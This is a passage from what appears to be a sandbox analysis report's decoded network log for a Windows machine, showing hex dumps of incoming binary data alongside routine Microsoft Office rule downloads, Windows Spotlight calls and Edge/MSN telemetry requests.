2024-11-20 13:43:51 UTC	16384	IN	Data Raw: ed f3 36 a7 59 c9 5d ad 0f 54 d0 e5 d2 ac f4 3b 18 e3 8e 7b 5b 8b fb 19 1a 1b 87 b5 5d d6 4b c7 22 3e bb 4b 7f b5 f7 b1 fe ed 79 bc 9a 7e bd fd ab 63 e1 dd 0e 3d 4b 52 d1 d9 d9 6e 1e c7 47 56 5f 31 14 79 ad 24 9f 28 66 7f be 4f 45 46 fc 6a e7 c6 8f 88 8b 65 75 71 a6 db da 58 c4 cb 0a b6 cf 2d a5 95 e4 f3 36 a0 56 43 b4 a2 05 dd c6 73 b1 41 ae 57 e1 5f 89 35 0d 52 78 64 d5 b5 29 fe c3 a6 c2 d7 30 e9 76 88 bb 5d 83 7d c8 e2 ca 84 de df 79 c1 f9 57 a7 a5 70 61 30 55 67 45 e2 67 14 97 9d 9d fb 5b e5 fa 94 ea 26 f5 2e 5b ea 71 7f 6e 4d 35 8e ad 1e a9 f2 7d 99 ee 1e d7 74 b6 4b b4 ee 71 06 e0 db 4b 36 77 7c d5 ea ff 00 09 7c 1d 67 61 25 c7 88 af 34 db 5b 79 2d 52 45 b4 47 45 69 51 b6 e0 fc ab f7 59 db bf 38 5e 01 ae 2b c3 3a 3c 5e 2b d7 21 d7 bc 75 ff 00 08 fd Data Ascii: 6Y]T;{[]K">Ky~c=KRnGV_1y$(fOEFjeuqX-6VCsAW_5Rxd)0v]}yWpa0UgEg[&.[qnM5}tKqK6w\|\|ga%4[y-REGEiQY8^+:<^+!u
2024-11-20 13:43:51 UTC	16384	IN	Data Raw: 6f f6 11 15 6a 84 9e 5f d9 fe 6f 2f 6f fb 74 2c 1b be 68 fc bf fb ee a6 c8 a5 29 1a 4d a8 33 7c ad 61 02 ab 7f 06 c5 a7 2d fc 0b 1b fe e2 35 fe 2f 9f 75 66 c7 1f fd 34 91 57 ee ec 4a 9a 4d cd 1a 7e f3 e6 57 fb ef 1f f0 d4 d9 1a 26 fa 96 bf b4 6c de 3f de 5b c1 ba a4 b5 d4 2c d7 e6 58 fc a6 67 ff 00 69 5b 6f 6a cb 99 2e 57 ef 7c cb fe c7 ff 00 5a 9d 6e fb bf d6 47 f7 77 7d f4 db fc aa 64 93 43 84 a4 ba 1d f6 87 e3 8d 21 6c 52 cf 50 d3 7e d9 22 ed 5f 39 3c b6 6f c9 86 7f cf b5 75 5a a6 a9 e1 3d 6f c0 f7 1a 2f 84 60 b5 b5 d6 af e1 68 a1 7b e8 1b ca dc 7e 56 c2 86 3b 1b 6f 46 af 19 bc 97 cd 93 e5 f9 97 fb 9f 32 d4 96 b6 0d 71 1a 7d 9f cb 66 fb cf b2 76 6f e9 9a f3 eb 60 29 ca ce ed 3b df c8 ee a5 8c 9a bc 6c 9a 7e 48 e2 7e 21 7c 2f f1 8f 85 ed 7e d1 a8 69 b2 Data Ascii: oj_o/ot,h)M3\|a-5/uf4WJM~W&l?[,Xgi[oj.W\|ZnGw}dC!lRP~"_9<ouZ=o/`h{~V;oF2q}fvo`);l~H~!\|/~i
2024-11-20 13:43:51 UTC	16384	IN	Data Raw: 6a db c5 5e 1f f0 5f f6 2e ad 04 0d 63 2d f7 9f 6f 71 0c eb 2e f6 0b fc 3b 49 f9 7b fd 7a d7 8d 5b 97 11 08 d0 a7 25 19 df de 8a de ce ff 00 89 d9 b3 bb 46 97 c4 6d 13 fe 12 ef 8b 7e 21 8e eb c4 b6 b6 71 da c3 25 cf da e6 49 1a 0d c3 66 e5 fd d2 39 c0 5d bf 4a e2 d6 da db 4d 8e 65 b1 92 4b fb 8f 96 09 a6 85 19 ad 7e 7f ba 8a 7e 53 cf bf f7 6a 48 e2 96 f7 47 fb 3f 99 ba 45 9b 74 4e ff 00 c1 bf ef 55 5f 0c c8 f6 7a c7 d8 fe d7 25 bc 77 11 4d 04 d3 45 b9 b6 29 5f 9b 0b 91 bf 3f dd e8 6b d3 8d 1f ab 51 54 6f f0 a5 f9 18 ca 50 f6 9b 7c ca 9f 10 34 6d 6b 4b 9e c6 fb 54 48 e2 9b 52 b7 8e 58 61 77 5f 9e 17 e0 49 f2 70 ab ec 4e ef 6a d2 f0 9d d7 85 f4 2b 58 56 1f b7 37 88 22 b9 f3 52 ed 3f 74 b6 ca 9f 75 39 ce fc 95 56 cd 33 c7 d7 77 da de b9 6f 6f 35 fc 77 9e 52 Data Ascii: j^_.c-oq.;I{z[%Fm~!q%If9]JMeK~~SjHG?EtNU_z%wME)_?kQToP\|4mkKTHRXaw_IpNj+XV7"R?tu9V3woo5wR
2024-11-20 13:43:51 UTC	16384	IN	Data Raw: 75 33 a1 fb 8f 27 fb df 7b f9 55 1f dc 04 6f 9f 77 fb 3b ea 58 e5 f2 ff 00 d4 22 7f df ea 8e 62 fd 9b 2c 85 80 2f 36 68 bf ef 6d fe b4 42 ca 9f 30 44 6f fb e7 fc 2a aa cb 72 3e ee d5 5a 53 24 a5 3e 67 99 bf dd 7a 5c da ec 1e cd f7 2e b5 d3 7d d4 48 77 7f b9 49 1c f7 48 76 84 ff 00 bf 50 47 fd 2a ae f6 f9 73 e7 2f fb db 7f c3 34 f5 49 7e ea de 3f cd 54 a4 c9 74 e2 b7 2c 6e b9 3f 36 c9 bf e0 3f 2f f5 a4 c3 7f 12 3a b7 fb 4f f3 7f 3a 89 52 44 f9 59 1d bf e0 14 79 8a 3f 76 ef b7 fe 06 d4 73 13 cb d8 9d 4f f0 b3 ff 00 c0 57 ef 7e 86 9a d2 db 79 9b 17 ce 66 ff 00 be 7f f6 6a 81 a5 c7 2d 33 b5 27 da 19 d3 6f cf fe 7e b4 b9 83 91 96 98 42 bf 2f 93 27 fc 09 ff 00 c0 54 4d 2c 02 4f 95 ed 1b fe 07 ba aa b1 f9 f7 18 51 b6 ff 00 13 6d 6f e9 4f 69 1a 5e 3f 73 1f fb 2a Data Ascii: u3'{Uow;X"b,/6hmB0Dor>ZS$>gz\.}HwIHvPGs/4I~?Tt,n?6?/:O:RDYy?vsOW~yfj-3'o~B/'TM,OQmoOi^?s*
2024-11-20 13:43:51 UTC	16065	IN	Data Raw: bc 31 d7 93 da b9 8f 8a 57 70 78 ab e3 6d c5 d6 97 24 8b 67 75 6f e7 dc 5c c3 b7 b4 81 1c aa ff 00 78 63 d7 2d b7 f0 ae ab f6 8a f1 34 ba b6 9b 0d ad bd dc f6 b0 e9 2e cc 8f b1 62 6d 41 8f ee fc cf 97 1f c2 dd 7e 6c fd 2b 97 d9 bb 51 8a d2 4d 45 bd 36 6a de 41 ee c5 c9 9c 97 85 f4 eb 17 f8 35 77 79 a1 eb b3 cb ae 5e 3c 93 fd 9e ef 6b 2a 6c c8 56 89 f3 fe b1 d5 be e7 de ef d3 19 f2 7f f4 c7 d0 ef b5 8b cb ff 00 b4 49 61 34 76 c9 69 37 fa d4 8c b7 cc eb 9f b8 bb b8 c0 ee c6 ba 8f 0f df 6a 13 f8 46 6d 49 67 ff 00 45 b3 be 56 48 76 33 2b cc f9 f9 f1 d0 7c ab 5b 5a 2f 85 a7 f1 85 8e a1 22 e8 57 5a a5 af 92 bf 61 7f 3f ca 68 57 71 0f b0 83 e5 97 2d d8 86 fa 66 bd 88 54 78 49 4e a4 e4 ad 7d f4 56 e9 6b b3 37 cd 26 ac 71 37 1a a4 b7 51 df 49 63 1f 9b 23 5a 7d 85 Data Ascii: 1Wpxm$guo\xc-4.bmA~l+QME6jA5wy^<k*lVIa4vi7jFmIgEVHv3+\|[Z/"WZa?hWq-fTxIN}Vk7&q7QIc#Z}
2024-11-20 13:43:51 UTC	16384	IN	Data Raw: b6 fa af 7c 70 7f fa d5 72 de e2 db ec af 37 99 e5 32 a4 7f 24 c9 f2 fc eb c3 17 40 c7 68 ef 81 9a 9a fb 4f b9 49 3e d0 b6 92 2c 31 3a ef 86 fa 05 8a 59 ba 70 8b 8f 9f f8 32 07 e3 57 2d ec b4 89 74 37 59 2e 36 dd 4b 32 ff 00 a2 6c 5d c8 bb 7f 79 f7 8e 7e ef 60 0f f0 8e 2b 9a 75 a3 65 67 f7 1d 54 e8 4a 3b af bf 45 fe 62 db dc 4f 16 a5 0c 76 30 7d a2 1f 25 ae 52 27 f9 5a 16 1b 33 96 65 52 c0 67 af dd da d5 3e 87 7f 05 97 9d 6a bf 61 96 de eb e6 99 3f bf 86 c2 ab 38 e5 5b ef 72 bc fa e6 b3 2e 20 95 a3 7b 85 9e 75 b3 b0 f3 17 ce 47 56 f2 7a 8f 95 5f 3f 7b e6 c7 23 ee 7e 77 61 b6 58 34 ab 79 bc c8 2d e4 97 74 56 d7 70 a3 4b 2e ef bb b6 64 43 b1 79 6f 66 5f 7c 9a e6 a9 ca d6 af 73 b6 8f 3c 5d d2 b5 bf 5b 7a 7f 5b 1a eb 05 e5 d5 aa 58 da e9 b3 cb 6f be 3f b5 ec Data Ascii: \|pr72$@hOI>,1:Yp2W-t7Y.6K2l]y~`+uegTJ;EbOv0}%R'Z3eRg>ja?8[r. {uGVz_?{#~waX4y-tVpK.dCyof_\|s<][z[Xo?
2024-11-20 13:43:51 UTC	16384	IN	Data Raw: 8d cf 3b be f6 de b8 af 9f e2 0c fa 96 5d 85 93 e6 5e d1 ad 15 d2 7e ba ad 8e fc 0e 5f 2a f5 52 b6 87 3d a5 fc 33 f1 0f 89 8d ad f6 b1 7d 63 a2 5a dc 6e d8 97 2f b6 5f 93 fd 9f fe be 6b d3 7c 23 6b 63 f0 e7 c2 57 d3 43 3d ad d3 2c 4b 73 6f b1 3e 67 51 f7 5a 49 3a 8f 9b fc 2b 57 c6 5a 1e 8d 73 75 ff 00 08 4c 7e 25 b1 d3 6e 35 19 9a e5 26 87 cc 9f 7c c5 7a 63 23 e4 2b e5 e3 fb bd b3 93 8d 3d 0f 4e d1 6d 74 d7 f0 fd 8e ad 25 e3 33 f9 4f 6e e9 b5 91 b6 ed fb 8e 49 da 8d c9 1c d7 e2 d8 ac 76 23 1f 3b e3 1d d3 77 6b 5b 5b a3 e6 db fa e8 7d fe 1b 05 1a 56 51 4b 43 83 b5 d6 7c 46 f0 3e a1 79 3f 95 0f d9 d6 5f 27 63 2a c3 86 23 2a a8 a0 c6 72 ff 00 c3 f7 7d 71 5e 95 a3 f8 83 4c 7f 0e 26 a9 24 12 5e 5b df a2 c4 93 5c 3f 95 2a 30 ce c7 f9 70 7f bd 83 bb 2d fa 56 0c Data Ascii: ;]^~_R=3}cZn/_k\|#kcWC=,Kso>gQZI:+WZsuL~%n5&\|zc#+=Nmt%3OnIv#;wk[[}VQKC\|F>y?_'c#r}q^L&$^[\?0p-V

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:50 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:50 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 7103f809-c01e-002b-5dee-3a6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134350Z-185f5d8b95crwqd8hC1NYCps680000000a9000000000e11g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:50 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:50 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:50 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:50 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134350Z-r1d97b995777mdbwhC1TEBezag00000008u000000000h2zy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 13:43:50 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49928	20.234.120.54	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:50 UTC	603	OUT	GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1777987859&PG=PC000P0FR5.0000000IRU&REQASID=A4547920AA3F49C6A102C14DAD48AFED&UNID=338389&ASID=7d6bc2297b224056a45a50ec02a2a7ca&&DS_EVTID=A4547920AA3F49C6A102C14DAD48AFED&DEVOSVER=10.0.19045.2006&REQT=20241120T134304&TIME=20241120T134337Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2024-11-20 13:43:51 UTC	183	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: c218597a-572b-48d1-ab31-5d515b01ebd2 Date: Wed, 20 Nov 2024 13:43:50 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:51 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:51 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134351Z-185f5d8b95ctl8xlhC1NYCn94g0000000ac000000000dt9q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:52 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49931	20.189.173.8	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:52 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732110229148&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11570 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0CB77821E0D96F30089A6D1CE1DE6E70; _EDGE_S=F=1&SID=2EF7A752059B629115E9B26F045063B8; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 13:43:52 UTC	11570	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 33 3a 34 33 3a 34 39 2e 31 34 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 61 31 37 37 64 63 37 2d 37 61 63 63 2d 34 38 34 65 2d 39 66 30 30 2d 65 33 30 35 65 65 34 39 38 33 30 30 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 34 30 34 30 35 32 33 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T13:43:49.147Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"4a177dc7-7acc-484e-9f00-e305ee498300","epoch":"3440405234"},"app":{"locale
2024-11-20 13:43:52 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=af1f52e35df2428c96f080f6a7fa2e0f&HASH=af1f&LV=202411&V=4&LU=1732110232358; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 13:43:52 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=eaf440ebcfbe4769afe5f44acb52eb99; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 14:13:52 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3210 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 13:43:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49932	20.189.173.8	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:52 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732110229154&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5047 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0CB77821E0D96F30089A6D1CE1DE6E70; _EDGE_S=F=1&SID=2EF7A752059B629115E9B26F045063B8; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-20 13:43:52 UTC	5047	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 33 3a 34 33 3a 34 39 2e 31 35 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 61 31 37 37 64 63 37 2d 37 61 63 63 2d 34 38 34 65 2d 39 66 30 30 2d 65 33 30 35 65 65 34 39 38 33 30 30 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 34 30 34 30 35 32 33 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-20T13:43:49.153Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"4a177dc7-7acc-484e-9f00-e305ee498300","epoch":"3440405234"},"app":{"locale
2024-11-20 13:43:52 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=e7f8cd2a54aa4639bdd2183b9d126e39&HASH=e7f8&LV=202411&V=4&LU=1732110232300; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 13:43:52 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3f3a43d33c7549cf967149fd54867772; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 14:13:52 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3146 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 13:43:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:52 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:52 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134352Z-185f5d8b95csp6jmhC1NYCwy6s0000000a5000000000pcaq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:52 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
